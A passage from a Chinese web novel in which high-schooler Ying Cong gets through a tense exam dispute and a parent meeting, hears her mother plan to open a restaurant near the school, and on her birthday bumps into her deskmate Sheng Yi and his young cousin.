应琮和许明同时顺着声音的方向看去。
“许老师,我来替我们老师送月考试卷。"时满抱着两个鼓囊囊的纸袋站在光影交界处,马尾辫随着歪头的动作扫过肩头。
时满同样拿着一叠改好了部分大题的答题卡密封袋,面上带着礼貌的笑意。
时满在1班想必是深得信任。
应琮看着她走近的身影,忍不住走神地想,她的老师连自己改到一半的卷子都能让她经手。
“刚刚我不小心听到了你们的对话。”
时满微微颔首,倒是不遮遮掩掩。
“我想,老师您可能是误会了,应琮已经说了她是无心之过,没必要给她这么大的压力。”
“你是哪个班的?”许明反问道,“这件事和你有什么关系?”
过分,竟然在办公室里偷听。
“我是1班的时满,也是应琮的朋友。”
时满低头看看桌上的卷子,面上笑意未减,“即使是121分的成绩,在年级里也不算差劲。我看应琮同学的神色,应该也不会因为这件小事而折损信心?”
“她的态度不端正,怎么能算是小事呢?”
许明显然没想到自己的师道尊严还能被一而再、再而三挑衅。
“老师不该只盯着学生的失误吧?”时满拉住应琮的手,“也不要让一次月考影响了心态。”
她在“心态”二字前刻意停顿了一下,出于礼貌,省略了主体。
说罢,她带着应琮便往外走。
似乎是想到什么,时满微微转身,意有所指道,“身为老师,最重要的难道不是要信任自己的学生吗?”
明白她话语里未说出口的深意,许明将桌上的答题卡狠狠一推。
一个两个的学生,仗着自己成绩好,就如此不知天高地厚。
对待老师一点都不尊重!
26. 第 26 章
周五下午,整个高二年级都不用上最后的两节课。全体学生来到大礼堂,分别按照不同班级的位置坐下。
月考的成绩都已经出来了,所以实验一中将举行考试后的质量分析会以及家长会。
每个学生的旁边,还特意留出来给家长坐的位置。
“你们高一时候也是这样开的吗?”
礼堂的灯忽然大亮,接着便是一系列调试设备的杂音传来。
应雨柔还是第一次参加高中生的家长会,看到礼堂内隆重的气氛,她整理了一下自己精心搭配的珍珠项链,小声问应琮:“你们去年也搞这么正式吗?”
应琮把校服外套团在膝头,抬头看投影仪上的光斑。
去年……她似乎翘了家长会,追随同样没有家长到场的裴少言在图书馆学习……直到被裴少言嫌弃自己的小动作太多,然后他直接捧着东西换了张桌子。
气晕!
“等会儿还要转场去教室。”
她戳了戳母亲手里崭新的家长手册,回忆着许文言的通知,“班主任要单独训话。”
应雨柔翻到手册末页的座位表,忽然笑出声:“你们班家长会还分上下半场?”
甚至比一些她参加过的晚会流程还要全。
目前还有几个班没到场,应琮借助椅背的阴影,偷偷在下面打开手机。
刚好手机震了一下,应琮点开。
【Business:来参加家长会的是你妈妈吗⊙▽⊙】
【CC:嗯。】
【Business:好年轻啊!丁一锐还非说是你姐,这下他要输给我一个叉烧包了(*?︶?*)】
看到他调侃的信息,应琮放下手机,眼神快速在周围搜寻。
因为班级内部的座位一般都是随便坐的,她当然不可能继续和盛逸坐在一起。
此时应琮旁边坐的是同班的一个女生和人家的父亲。
看了半天也没发现盛逸的身影,这种“我在明敌在暗”的感觉并不好,应琮忍不住戳着屏幕打字。
【CC:你坐在哪?】
【Business:我没和你们坐在一起啊,我另外有地方坐(*^_^*)】
虽然并不能看到他的表情,可从接连不断的颜表情里,应琮也能感觉得到,盛逸此时的心情不错。
没和他们坐在一起……说明他肯定不随大部队了。
应琮想了想,恍然大悟地抬起头,往礼堂两边的座位看去。
果不其然,在前面的角落里,发现了盛逸正往这边看过来的眼神。
在他前面,还坐着几个同样熟悉的面孔——裴少言、时满也在其中。
坐在礼堂前面的,除了等下要讲话的领导、老师外,应该都是要接受表彰的学生。
这次月考,盛逸似乎语文和地理都考得不错,单科成绩在年级里名列前茅。
【Business:想不到你这么敏锐,一下就找到我了。】
即使自己旁边不远处就坐着年级里威名远扬的“四大天王”,盛逸依然饶有兴致地回道。
【CC:。。。】
真受不了他的自来熟。
四大天王中,只要有一位老师稍一转头,就能看到他在偷偷玩手机。
求求老师,赶紧收了这神通吧。
应琮将自己的手机关了,整个人继续往椅背上懒懒一靠。
每次开会都是一场折磨。
负责主持的年级级长走上讲台,朗声宣告大会的正式开始。
“等下开完会,我们一起在学校附近吃饭吧。”应雨柔转头看着她,温柔道。
这段时间各有各的忙碌,她们母女也有挺长一段时间没有在外面吃饭了。
注意到女儿的表情微愣,她眨了眨眼睛,“不可以吗?”
“……倒也不是不可以,”应琮犹豫地开口,“就是学校附近的餐厅……”难吃得各有千秋。
上回听了丁一锐给她挨个锐评,要么是别有巧思的“化学实验室废料处理中心”,要么是简简单单一句“潲水”。
自那之后应琮再也没有馋过外面的事物,最多就是在便利店吃两口关东煮。
“价格和口味都无所谓的,”应雨柔露出笑颜,“妈妈可不像你一样挑食。”
看到妈妈的笑容,应琮把原本的话咽进了肚子里。
这可是她自己说的。
*
“这个……”
应雨柔好不容易才将自己嘴里的云吞咽下去,整张脸上都写满了“不可置信”四个大字。
云吞这种东西,实在不会包,超市里也有卖各种品牌的半成品,怎么可能做得这么难吃?!
她再次低头,看着碗里漂着的大白云吞,连一片紫菜、一颗香葱都没有,一时语塞。
应琮将旁边的茶杯递给她,表情沉重。
是的,他们学校附近餐厅的水准,就是这样。
完全不能报以任何希望。
哪怕是最常见的半成品,不需要任何烹饪技巧也能成功的料理包……只要经过老板的悉心加工,也会变得难以下咽。
家里没人做饭的走读生,宁愿每天重复吃便利店的方便面,也不愿意进店挑战自己的味觉神经。
“幸好之前晚上补习时,妈妈都有送饭给你们。”应雨柔用茶水漱了漱口,“不然就要吃这些了。”
“是啊,”应琮认可道,“还好有妈咪你在。”
每天高强度学习下,若是再吃了这种食物果腹,真是感觉自己的人生完蛋了。
“既然东西都这么难吃了,为什么这家店看起来不像是要倒闭的样子?”应雨柔隐隐有些不服气。
自己咖啡店里的东西,无论是用料还是口味,怎么说也比这里好上几十倍。
为什么自己的店开不下去了,这种店却经久不衰。
难道她的味觉评价系统和其他人的不一样?
“不知道,”应琮也摇摇头,“可能因为地段好?”
“你们这里都不算市中心,地段哪里好了。”
应雨柔不接受这个理由。
“那就是来吃饭的人多?”
应琮专心地挑着自己碗里的葱花,随口道。
闻言,应雨柔陷入了思考。
自己的店之所以开不下去,很大一个原因就是因为入不敷出。每天来光临的客人实在太少,赚的那点钱,完全不够店内的固定开支。
听女儿的口气,即使学校附近没有几家美食店,但因为别无选择,所以学生们不得不凑合着吃。
她看着碗里令人毫无食欲的冷饭,若有所思。
“妈妈?”应琮看她神情不对劲,开口问道。
“看来妈妈也不是不能在学校附近开一家餐厅。”
应雨柔随口开玩笑般轻声道,听在应琮耳朵里像一片柔软的羽毛。
“什么?真的吗?”应琮瞪大双眼。
她记得咖啡店才关门没多久,虽然说妈妈手上还有一大笔积蓄,但贸然投资,会不会……
感受到女儿投来的眼神,应雨柔将自己心里的打算娓娓道来。
原本她对自己的厨艺还不是特别自信,但今晚这一顿饭下来,忽然油然而生一股莫名励志的力量。
毕竟就连小裴他们也说了,自
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己做的菜很好吃。既然他们都是一中的学生,想来大家的口味也差不多。
而且……应雨柔的心里冒出来一个想法。
如果在学校附近开了餐厅,到时候应琮过来吃饭也很方便。
赚钱是一回事,陪在高中女儿身边是她更在意的事情。
今天一席家长会开下来,她发现高中生压力是真的大,比起那些对孩子成绩、校园生活了如指掌的家长,自己似乎有很多要改进的地方。
“可是妈妈,”看到应雨柔脸上已经浮现出幸福的微笑,应琮连忙打断她的幻想,“你要天天围着灶台转悠吗?你不讨厌油烟了?”
在家里做饭好吃,不等于就能够开得好一家餐厅。
毕竟每天在家里吃饭的“食客”只有寥寥几人,开餐厅要面对的可是街边来来往往的人。
众口难调,万一打击到应女士的做饭积极性和信心怎么办,自己还要回家吃饭的呀!
更何况,应琮在脑中想了一下妈妈身穿厨师服,头戴白帽的样子,怎么想都觉得有些违和。
而且她哪里抡得动专业的大锅大铲,光是备菜恐怕就要累晕了。
应雨柔倒是没考虑这一点,一下被问住了。
“对吧,开餐厅没那么简单的。”
怎么想,应琮都觉得她只是因为晚餐太难吃而临时起意。
“只要不做油烟大的食物就好了吧!”
应雨柔的眼眸亮亮的,语气兴奋。
油烟也不是什么大问题,她相信现代科技足够摆平。
更何况,也不是所有的菜品都会有浓烈的油烟啊,做点像饭团、三明治之类的简餐也不错。
“……你还真是锲而不舍。”应琮心口不一地称赞道。
今晚的重点不是开家长会吗,怎么应女士反倒是开始规划起自己未来的事业了?
“听你的语气,感觉不是很支持我啊。”应雨柔看看她,调侃道。
“没有啊,很明显吗?”应琮眨眨眼睛,佯装无辜。
“主要是,”她想了想,又忍不住劝道,“也不是你想开就能开的吧,找好地方了吗?”
学校周围的地段,一般也算是做生意的热门处,更何况附近是江城赫赫有名的学校,哪里有刚好空下来的店面让应女士接手。
若是高价去盘一个店铺,再重新装修开业,恐怕又是一笔不小的投资。
应琮知道姓李的虽然给抚养费并不小气,但比起做生意需要用到的投资,恐怕也是杯水车薪。
“没找好。”应雨柔老老实实地摇摇头,“我平时又不经常来这里逛,哪里知道有没有空的店铺。”
“所以说你就是灵机一动嘛。”
“如果附近刚好有一个店铺,正在紧急转让就好了。”应雨柔的心态很好,“这样价格也不会很贵。”
“嗯嗯,但愿能成真。”应琮敷衍道,赶紧拿起纸巾擦嘴,“我们走吧。”
二人吃完饭,回到车上准备回家。
每个班家长会结束的时间不一,校门口仅有的一条大路上,此刻积满了车。
放眼望去,一大片一大片都是红色刺目的灯光。
“这下有得等了。”
应雨柔无奈地叹了口气,让车缓慢地融入到前行的车流中。
“妈妈!”
偏头看向窗外的应琮忽然开口,尾音微微上扬。
“怎么啦?”
“你的‘如果’好像可以成真了。”
应琮移开自己挡在窗前的身影,指着街角的一处招牌。
招牌上红底白字写着几个大字:
“店铺转让”。
27. 第 27 章
家长会后的想法并不是一时兴起,应雨柔对待开店的计划十分认真。
她本身就一有目标便会展现出前所未有的干劲,于是连续好几周,应雨柔都在忙着规划、研究装修。
这也是应琮向来很支持妈妈搞事业的原因。
即使是国庆放假,她也一门心思地扑在上面,甚至都忘记了暑假时母女俩约定好的出游计划。
不过应琮也没闲着,一中本身课业就重,何况她还有竞赛任务在身。
黄金周更像是母女俩忙得脚不沾地の炼狱周。
应雨柔那边的计划进行得倒还顺利,或许因为之前有开店的经验,与店铺老板签过合同后,新的手续很快就办了下来。
所幸这家店之前的老板也是做餐饮的,里面厨房和消防安全等专业设施倒不需要再操心,之后只需要换个招牌,简单装修即可开业。
办事雷厉风行虽然很好,但也导致了一个看起来十分荒唐的情况,让应雨柔犯了难。
那就是:
到现在……她居然都不知道做什么类型的餐品!
应雨柔尝试和女儿认真讨论了几次,一贯对她只有支持的应琮却几次否决菜单,不知道哪根筋出了问题。
难道应琮平时喜欢吃自己的菜都是演出来的吗?
太荒谬了!
应雨柔被自己突然冒出来的想法吓了一跳,赶紧摇摇头,把对女儿的无端揣测甩出去。
怎么可能是假的呢!
说不定是宝贝最近压力太大了,心情不好而已。
可一连几天过去,依然没能确定下来。
眼看国庆假期即将进入尾声,有更重要的事情在眼前,应雨柔不得不先将自己开店的事情放一放。
*
应琮终于赶在开学前两天写完作业后,少有地对着游戏机报复性熬夜到了半夜,第二天醒来仍是睡眼惺忪。
然而等她脚步虚浮地从房间里走出来,客厅里居然空无一人。
应琮随手搓了一把沙发上的猫猫,结果被恶狠狠地推开。
她没力气反抗,索性躺平任恶霸欺凌,抬眼懒洋洋问:“我妈呢?”
然而咪咪皮下此时是谁还不得知,没等她话说完,门钥匙一转,应女士便满面春风地出现。
“乖乖,醒了呀?刷牙洗脸了没有?”
应琮还没看清,就闻到浓郁的香味,连带着怀里被塞入一大捧新鲜的花束。
待脸颊被感性的妈妈捧起来捏捏,一句“破壳日快乐”砸下来,她才后知后觉想起来,原来今天除了国庆的最后一天,还是自己的生日。
晕,都怪老吴布置的魔鬼训练题。
应琮后知后觉感慨:她第一次没记起自己的生日。
“你今天要和朋友们出去过生日,还是在家里过?”
应雨柔的语气是这几天少见的温柔,眼神里充满亮晶晶的期待。
虽然是个二选一的问句,但应琮甚至不需要思考,就知道什么才是正确的选择。
还有什么选择的必要吗?
前几天应女士时不时就以一种复杂的眼神看自己,似乎无法接受宝贝女儿会质疑自己的厨艺。应琮不敢相信,今日如果自己跑出去过寿会产生什么样的后果。
“当然是在家过。”
应琮含糊丢下一句话就回了房间。
在去卫生间之前,她到床头拔下一直在充电的手机,点开消息列表,发现即使是假期,依然有不少人给她发了祝福。
包括凌晨12点准时发来祝福的程依依,还顺便附赠了好身材一览无遗的游泳教练照片——应琮放假前就知道,依依和家人去海岛旅游了。
其他几个相熟的旧友也不例外,或真诚或客气地发来祝福。
应琮伸个懒腰,放下手机去洗漱。
就算她想出去也没有合适的朋友相陪,在家里简简单单过就好了。
应雨柔心情果然大好:“妈妈今天会准备很多很多好吃的!”
“别做太多!”
卫生间内,应琮的嘴里还包着牙膏泡泡,含糊不清地说道:“不然我们又要吃剩菜了。”
犹记得去年自己的生日,父母刚离婚不久,她第一次只和妈妈一起度过特殊的这天。
妈在餐厅里豪掷千金,刷卡时眼睛都没眨一下。
然后打包回家的剩菜塞满了一冰箱,两个人又吃了几天才消灭。
她不想再重温这段记忆了。
而心情很好的应雨柔已经哼着悠扬小调往阳台走去,完全没有听到她的话。
*
“刚好吃完饭了,”应雨柔一边将洗好的盘子竖起来沥水,一边对倒在客厅沙发玩手机的应琮道,“你去万象城把妈妈定好的蛋糕取回来吧。”
“为什么不让人送过来?”
应琮刚吃完饭,懒洋洋的不愿动弹。
“因为这次专门定制了蛋糕上的图案,你去看看实物符不符合图片,如果不满意的话还可以让她们再重新做。”应雨柔解释道。
“如果让人送的话,店家说要等到晚饭时间才能空出来人手。这样如果再想重新做的话,恐怕就赶不上你的生日了。”
应琮抓抓自己的头发,将手机屏幕关上,但还是没有站起身。
哪有生日当天使唤寿星做事的。
“反正我们家离万象城那么近,走过去就十几分钟,就当是饭后消食了。”
见她依然磨磨蹭蹭,应雨柔走过来,轻轻弹了一下她的脑门。
“快去!办成之后,妈妈重重有赏。”
“赏什么?”
应琮来了兴趣,从沙发上一骨碌爬了起来。
她已经不是会因为蛋糕而兴奋的小孩子了,但礼物还是值得期待的。
“等你吹完生日蜡烛,就知道了。”
应雨柔弯起唇角,保持神秘。
“好吧好吧,我这就去。”
应琮低头看看自己身上睡得皱巴巴的睡衣,起身回房间换衣服。
“你就穿成……这样?”
看到应琮随便套了一身运动服就准备出门,应雨柔纤细的眉毛微微皱了起来。
“?”
察觉到她凝重的表情,应琮将手上原本准备戴的棒球帽放在一边,低头审视自己。
没什么问题啊?
“好歹也是花季少女,怎么也不好好打扮一下。”
应雨柔轻叹一声,转身往自己房间走去。
“你给我在这里乖乖等着。”
走到半路,她不忘回头叮嘱道。
没办法,应琮只好重新回到沙发上靠着。
须臾,应雨柔从房间里走出来,将手上的东西递过去。
“这是我上周刚买的新裙子,送你了。”
母女俩的衣橱基本上是可以互通的,甚至少女心爆棚的她有很多衣服更适合应琮这个年纪。
“……你怎么会买这种风格的裙子?”
看着手上带着荷叶边和泡泡袖的裙子,应琮眼神难掩对应女士品味的质疑。
这件衣服和应雨柔平时的穿搭风格完全是两模两样。
应雨柔沉默几秒才开口,“因为导购说得天花乱坠,所以那天没忍住就买回来了。”
不得不说,同样是镜子,服装店里的和家里的,简直就无法称作是同一物种。
买回来之后再穿上,应雨柔忽然多了些名为“装嫩”的羞耻感,于是就将这条裙子束之高阁,直到今天才让它重见天日。
“别说那么多了,”她催促应琮快去换衣服,“赶紧把你身上的运动服换下来。”
“哦。”
应琮乖乖地拿着裙子去卫生间换上。
比起初中时期喜欢装酷的自己,现在她倒没那么抗拒穿裙子了。
*
或许因为是假期最后一天,万象城人潮可观。
无论是年轻的情侣还是一家老少好几口人,无一例外地都拎着大包小包——完全报复性消费。
即使提前约定了来取蛋糕的时
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间,应琮依然在店里等了一会儿。
“不好意思啊妹妹,我们今天实在是忙不过来,让你久等了。”
店员姐姐抱歉地笑笑,双手将已经包装精美的蛋糕递上,“送你一盒刚烤好的蛋挞哦。”
对方的态度太好,以至于应琮虽然等很久,却不好说什么。
她脸上抿起一个浅淡的笑容,说了“谢谢”就匆匆离开。
商场本就开了空调,再加上有许多人逛街,里面的空气仿佛也变得热了。
香水味、火锅味、甜品味……来自各种店铺的味道在空气中混杂一片,应琮闷得有些难受,只想赶快出去。
顺着电梯下来,刚好正对着一家生意火爆的潮玩店。
来都来了,要不要进去逛一逛呢?
应琮心念微动。
说别人报复性消费,可她疲惫一周,又赶上过生日,何尝不想加入非理性大军?
但自己手上毕竟还提着蛋糕,这可是极脆弱的东西。
看着潮玩店人挤人的模样,应琮又收起自己的打算。
算了,改天吧。
虽然打消了念头,但应琮的眼神不由自主地瞟向那家店的门口,却出乎意料地看到一个熟悉的身影。
“盛逸?!”
眼前这个身穿牛仔外套,站姿吊儿郎当的男生,除了自己那个不正经的同桌还能是谁?
毕竟现在不是在学校,不需要一板一眼地穿好校服。
人靠衣装马靠鞍,应琮上下打量对方,多少感觉私服版的盛逸,颜值略有上升。
只不过……
看到他脖子上挂着的粉色卡通水壶,左右两个胳膊上分别挂着的大包小包,应琮了然地点点头。
平时这位还人模人样的,今日一见都开始cos地主家的长工了。
“你和女朋友出来逛街啊。”她开口道,语气里有几分调侃。
呵呵,水壶上印着有几分熟悉的粉色猪熊,想来是约了“菲菲妹妹”一起出来玩。
“什么?!!!”
背后的店里放着超大声BGM,盛逸伸长脖子,好不容易才听清楚她在说什么,顿时急了。
“放心,我不会告诉别人的。”应琮露出意味深长的微笑,转身要走。
她只会告诉依依,这下总能对这家伙死心了吧。
“别走!”
知道她误会了,盛逸快步上前,一把抓住她的手腕。
猛地被人拉住,应琮差点左脚绊右脚摔在地上。
“你干嘛?!”
好不容易借助盛逸的手臂站定,她回头怒目而视。
若是摔倒了,丢脸不说,蛋糕更是要变成稀巴烂。
发现盛逸的手竟然还握着自己的手腕,抽了一下竟然还没抽出来,应琮的语气变得更加不善。
“还不松开?”她咬牙切齿。
“不,不好意思。”盛逸触电般地松开自己的手,讪讪道。
从脸到耳朵,飞快地刷上一层粉红色。
应琮没好气地白他一眼。
还真是不检点,有女朋友了还伸手去拉自己。
一点男德都没有!
“你把你刚刚说的话再说一遍。”
看到应琮露出无语的表情,盛逸终于反应过来,他看过去,脸上的红还没有散去。
“莫名其妙。”
应琮当然不理会,抬脚就要走。
盛逸往左一步,挡住她的路,像是不听到答案不罢休。
“……”
应琮没想到他还挺执着。
一旁闲逛的人似乎注意到他们,都刻意放慢了脚步,颇有一种准备看好戏的架势。
路人脸上的期待实在太明显,她脸上的表情变得更加难看。
“你最开始说我什么,再说一遍?”
而自己面前的男生还在不依不饶。
虽然应女士说,星座日历写着今天不宜生气。
可应琮感觉自己心底的小火山就要爆发了。
28. 第 28 章
应琮颇为不耐地直视他的目光,发现盛逸竟然也直直地望进自己的眼睛,眼神中带着不解,和难以察觉的……委屈?
她起初被这表情吓了一跳,有些退缩。
可随即应琮又觉得自己压根没做错什么,凭什么要气短一截?
然而她一句“丁一锐早和我说过了”还没说出口,忽地被一个小小的声音打断。
“哥哥,你在干嘛?”
稍显稚嫩的童声,从两人身旁传来。
应琮转头看去,面前不远处是一个身穿玫红色背带裙,扎着两颗丸子头的小女孩。
就算她太久没接触小朋友,也能看出这孩子估计连小学门槛都没到。
刚刚叫盛逸哥哥的,就是这小孩?
待小女孩走近,盛逸才舍得侧身看过去,又像是怕应琮跑掉一样,他一手把小女孩拉到旁边,还将手搭在对方肩上。
应琮看着他摆出一副要带着儿童指认犯人似的扑克脸,指着自己说——
“菲菲,你来得正好。告诉她,我是你的谁。”
“姐姐你好。”
菲菲年纪虽小,但看着比眼前两个高中生成熟太多,一句话都没多问,听话地走到应琮跟前,一板正经地解释道,“这个人虽然只是我的表哥,但是我一般都喊他哥哥。”
“啊?……哦,哦。”
应琮的脸色在盛逸和菲菲小朋友目光如炬的注视下肉眼可见地迅速变粉、变红。
菲菲往后一仰,单手捂嘴,小声道:“哇!这个姐姐的脸好像番茄啊!”
一字一句都像动画片那样板正且音调抑扬顿挫,应琮只恨自己听力太好。
盛逸扶住小孩,同样用气声、但应琮可以听得一清二楚的声音回答:“因为姐姐说错话了,恨不得找地缝钻进去呢。”
“姐姐,犯错误只要道歉就好了,不要钻到地下去啊!”菲菲抓住应琮的裙角,真切关心她这么漂亮的裙子会被泥土弄脏。
毕竟自己的妈妈平时都不让她穿有这么多装饰的裙子呢。
盛逸有样学样:“是呀,姐姐道歉就好了。”
想到自己刚刚说出口的话,应琮的确有那么一瞬间恨不能找一个地洞钻下去。
但紧接着她就被这两兄妹的一唱一和弄的没情绪了。
说来说去,其实也还是要怪丁一锐。
妹妹就妹妹,他那时候为什么犹犹豫豫,还说什么“就当是妹妹”,语文比她还差吧!
亏得她还以为班长是和盛逸不一样的老实人!
应琮心绪万千,脸上的表情也变幻莫测。
再回过神来,盛逸正牵着菲菲的手,装模作样地叹起气来。
“唉,走吧菲菲。看姐姐这个样子恐怕是不会给我们一个公道了。”
应琮下意识迈步跟上去:“这是什么话?我哪有!”
盛逸没搭理她,唉声叹气地将自己脖子上挂着的水壶取了下来,意有所指地开口。
“菲菲,你的水壶还是自己背好吧。不然等下哥哥又要被人误会了。”
“唉,好歹我也是个黄花大男孩,清清白白做人……”
“可惜今日遇人不淑,被人毁了声誉,还无法为自己讨个公道。”
“好的哥哥,我们走吧。”菲菲像是没听到一样自动屏蔽了哥哥的胡言乱语,接过水壶斜挎在身上,拉着盛逸衣袖就要走。
“等下。”
应琮颇为无奈。
“我跟你道歉,对不起,是我先入为主。”
伸头一刀缩头也是一刀,敢做敢当才是她应琮作风!
不过她也是实在受不了盛逸张口就来的演员天赋,现在不在学校就能解决的事情,实在不宜拖到明天上学……谁知道到时候他会怎么阴阳怪气自己?
至于丁一锐那个谎报军情的……也得等上学的时候才能去质问了。
应琮三言两语道完了歉,自我觉得已经将这桩事给解决了,便抬手跟他们道别。
没承想盛逸抱胸站在她面前立住,微微弯腰,一张大脸凑到她眼前,张嘴还是那副欠揍的语气:“怎么回事啊?怎么有人道歉这么没诚意的?拜托,被污蔑的人是我好不好?”
应琮被他突然凑近的脸惊得后仰,手上提的蛋糕晃了一下差点翻了,还好被一股力道提住。
盛逸站直,松开勾住她袋子的手,像是自言自语。
“刚刚就想问了……同桌你不是吧?国庆结束还要买个蛋糕庆祝啊?还是奖励自己作业写完了?完全小学生作风啊!”
要不是当着小孩的面不方便动用武力,应琮真想给他来一拳。
也不知道这家伙今天是吃错了什么药,比在学校里还没个正形,实在难缠。
菲菲又一次被晾在一边,但她凭自己的本能,主动扯住哥哥衣角,像拉住扑火的飞蛾。
“姐姐,今天是你的生日吗?”
?
得意忘形的盛逸一下子僵住。
应琮弯腰摸摸小姑娘的头顶,语带惊喜:“没错,今天是姐姐的生日哦!”
“你好聪明啊,你是怎么看出来的?”她顺手在袋子里掏掏。
店员刚刚是不是赠送了蛋挞?
被夸聪明后,菲菲笑容里都带了几分羞涩。
“因为姐姐今天的裙子很漂亮,我生日时也可以穿这么漂亮的裙子。”
应琮好不容易掏出袋子里的蛋挞递给她:“哇塞,那你真是比一些眼睛有问题的人强多了。”
说到“眼睛有问题”的时候,她刻意放慢了语速,简直是牙缝里一个个挤出来的字。
盛逸:……
“谢谢姐姐,祝你生日快乐哦。”
察言观色技能满点的菲菲看看姐姐,又看看哥哥。见他虽然一脸无奈但还是点了头,便立即接过蛋挞,还不忘说吉祥话。
应琮突然觉得,也不怪丁一锐觉得这两个人不算兄妹了,妹妹小小年纪素质情商都高出一大截,哪有这样的兄妹?
“谢谢菲菲。”
应琮又捏了捏她头顶的小丸子,不由得露出一丝笑容。
再扭脸看看旁边的盛逸,他抿唇不语,似乎有些懊恼。
“哥哥,你能不能蹲下来?”
菲菲忽然对盛逸道,拽了拽他的衣角。
“哦、哦。”
盛逸回过神,不明所以地蹲了下来。
菲菲把着他的手臂,开始在几个袋子里翻来翻去,神情认真到仿佛是在做什么重大决定。
“你到底要找什么?”
眼看她找了半天都没停下,盛逸不得不换了条腿继续支撑着。
“找到了!”
菲菲终于从袋子里掏出来一个四方小盒子,喜滋滋地捧在手上。
“姐姐,这是我送给你的生日礼物!”
东西拿在手上还不超过三秒,她便强行塞给了应琮。
应琮有些惊讶,第一反应是推辞,但见她实在真心要送,还是收下了。
“这不是你刚刚好不容易才买到的娃娃吗?”
盛逸站直身子,看清楚盒子上的图案时,大为惊讶。
“怎么,不可以吗?”
菲菲学着先前应琮和他讲话的语气,像个小大人。
“当然可以,只是你什么时候变得这么大方了?”
明明因为只有这个商场的店才有卖,一大早就扯着自己打车过来的,盛逸莫名看了一眼应琮。
菲菲这个小家伙,比自己会观察还会做人,现在已经把他衬托到地下去了。
都怪丁一锐,明明班长负责收集了大家的生日,也不提前告诉他!
三人走到分岔路口时,不约而同地停下脚步。
“你们要往哪里走?”
应琮看向二人,她要继续往前。
“我们要往右边走。”盛逸说完,又有点欲言又止。
既然已经知道了今天是应琮的生日,他好歹要表示点什么。
可,有点把握不准时机。<
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“你还有事?”见他怪模样,应琮奇怪地看看他。
“没什么。”盛逸强装镇定,欲盖弥彰地抬手摸了摸头。
菲菲好像是第一次见自家哥哥这么犹犹豫豫的样子,眼睛里充满了无法理解。
应琮点点头,没说什么,迈步准备继续往前。
“应琮!”
听到熟悉的声音在唤自己,她猛地转身。
“妈妈?”
看清楚马路对面的人,应琮露出诧异的神色。
“你怎么会在这里?!”
提着环保购物袋的应雨柔快步走过左边的斑马线,抬手毫不客气地敲了她一记。
应琮吃痛,脸瞬间皱成一团。
“也不知道你跑到哪里去了,等了半天都还没到家,又不回信息。”
应雨柔打开购物袋,给她看里面的东西。
“刚刚发现冰箱里的蚝油见底了,所以我就出来买东西了。”
“刚刚没注意看手机。”应琮小声道,眼神示意妈妈看向自己的旁边。
“哎呀,不好意思。”
应雨柔这才注意到站在一边的兄妹二人,她连忙整理表情,面上浮现出得体的笑容。
“你是应琮的同学吧,我记得家长会的时候在台上见过你。”
谁能想到他出门一趟还能遇到同桌的家长,饶是盛逸也不敢怠慢,他开始彬彬有礼地简单介绍自己……以及手上牵着的小孩。
因为家长们想趁着假期单独出去享受生活,所以就拜托他来照看菲菲一天。
应雨柔笑眯眯的,语气温柔。
“是不是应琮邀请你们来家里玩的?”
“妈!”
听到不对劲,应琮立即出言制止。
救命啊。
她和盛逸还没熟到这种地步!
应雨柔假装没听见,继续热情邀请二人。
“今天是她的生日,刚好人多热闹。”
“不了不了……”盛逸连连摆手,表情乖巧。
站在旁边的菲菲倒是有几分向往。
刚刚他俩把钱都花得差不多了,要是直接回家,恐怕自己只能吃盛逸煮的黑暗料理了。
“别客气,”而应雨柔压根不给拒绝的机会,拍了拍他的肩膀,“阿姨做饭的手艺你还没领教过吧?”
“……妈,你够了。”应琮拉住她的胳膊,在耳边小声道。
“干嘛,”应雨柔颇为不理解,“你和朋友一起来家里玩不好吗?”
她一直都担心女儿在新学校交不到朋友。
“还是你已经邀请了别人?”
应雨柔顿顿,忽然发出了然的一声感慨。
应琮还以为妈妈终于理解了自己的意思,可对方的下一句令她立时失去所有的力气——
“你邀请了少言来家里吗?”
应女士自认为对女儿的社交圈还算了解,她记得依依同学假期和家人去旅游了。
“不……当然没有。”她半捂着自己的脸,分外无奈。
应雨柔的声音不算太轻,应琮十分怀疑站在不远处假装看风景的盛逸也听得清清楚楚。
“那为什么不能邀请盛逸来家里?你还可以跟人家学学语文。”
见女儿无力反驳,应雨柔索性直接绕过她,再次向盛逸二人发出邀请。
多个朋友总是好的。
而且这学期应琮和对门小裴也不知道在闹什么矛盾,似乎没以前关系熟络了,自己嘴上虽然不说,其实早就知道了。
既然如此,女儿就和别人培养一下友谊吧。
应雨柔从不像其他古板的家长那样避讳孩子和异性之间的正常来往。
“哥哥……”
菲菲轻轻摇了摇盛逸的手,想去的意味不言而喻。
“谢谢阿姨,那我们就……打扰了。”
盛逸心下无奈,但还是硬着头皮答应了。
虽然对面应琮的眼神,已经要将自己砍成碎片。
29. 第 29 章
“你们先坐着聊会天,我现在去准备菜。”
应雨柔将人请回家里后,才意识到今日菜单还得扩展的现实,于是将女儿往前一推,自己倒提着买好的东西钻进厨房。
真是毫无待客之道。
应琮略无奈。
“哇啊,是猫猫!”
好在这两个客人也不需要多认真对待,小朋友一进门,就看到卧在沙发上的咪咪,顿时两眼放光,冲了过去。
纵然咪咪的反应是菲菲的七倍,也躲不开小孩姐旺盛的精力,几下挣扎还是被拿下。
看着被强行抱在怀里又亲又揉,已经生无可恋的咪咪,应琮不禁偷笑。
坏猫自有小孩磨。
对比起一见到猫猫就比回了家还自在的学龄前儿童,盛逸跟在后面步履踟蹰,显得拘谨多了。
原来这就是同桌的家啊!
虽然不是很大,但布置得很温馨,也很干净。
盛逸踩着应琮给他找的唯一一双男士拖鞋,简单打量一圈环境,有些不自在。
自己恐怕霸占了应琮爸爸的鞋,这让他如何不紧张?
天知道,他上次去异性家里作客,估计都得是十几年前的事情了。
“你和菲菲要喝点什么吗?”
应琮也没有多少招待人的经验,只好打开冰箱,没话找话道。
“都可以。”
盛逸和刚刚在外面吊儿郎当的样子大有不同。
他规规矩矩地坐在沙发上,双手放在膝上,甚至连双腿都并拢了。
这下称得上是男德模范了。
应琮奇怪地看他一眼,考虑到小孩子的口味,便从冰箱里拿了一盒苹果汁,倒在杯子里端了过去。
菲菲已经和咪咪玩作一团,一人一猫蹲在地上兴高采烈地玩起了丢球游戏,根本顾不上喝水。
倒是应琮和盛逸,两个人坐在沙发的两端,各自手上都捧着杯子,却又谁也没有喝,只是一阵安静。
“那个……”
“你……”
或许是觉得气氛有些尴尬,盛逸和应琮同时开口。
相互对视后,又同时住口。
“你先说吧。”
应琮掩饰性地抿了一口果汁,垂眸凝视着手中的杯子。
“那……国庆作业你都写完了吗?”
